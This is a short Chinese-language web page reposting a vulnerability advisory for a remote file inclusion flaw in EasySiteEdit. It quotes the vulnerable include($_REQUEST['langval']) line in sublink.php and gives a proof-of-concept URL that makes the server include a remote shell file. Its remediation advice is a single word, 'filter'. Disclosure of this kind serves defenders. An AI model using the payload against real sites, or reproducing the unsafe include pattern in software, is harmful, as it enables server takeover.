EasySiteEdit远程文件包含缺陷及修复

EasySiteEdit远程文件包含缺陷及修复 - 网站安全

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] Exploit Title: EasySiteEdit remote file include作者:koskesh jakesh下载地址: http://www.easysiteedit.com/licensesystem/esev2versions/esev2.zip# Tested on: linux---------------------------......

Exploit Title: EasySiteEdit remote file include
作者:koskesh jakesh
下载地址: http://www.easysiteedit.com/licensesystem/esev2versions/esev2.zip
# Tested on: linux
-------------------------------
vul:sublink.php
line 20:
include($_REQUEST['langval']);
-------------------------------
测试:
www.2cto.com /path/sublink.php?langval=shell.txt?

修复：过滤

--------------------------------
致谢:kire rostam,kose zan dait,kose shohar amat

OneFileCMS v1.1.1多重远程缺陷及修复 - 网站安全 -

Mysql5+php注入查看MYSQL基本信息(库名,版本,用户)

子栏目

EasySiteEdit远程文件包含缺陷及修复 - 网站安全

最新评论

添加评论

更多文章推荐

添加评论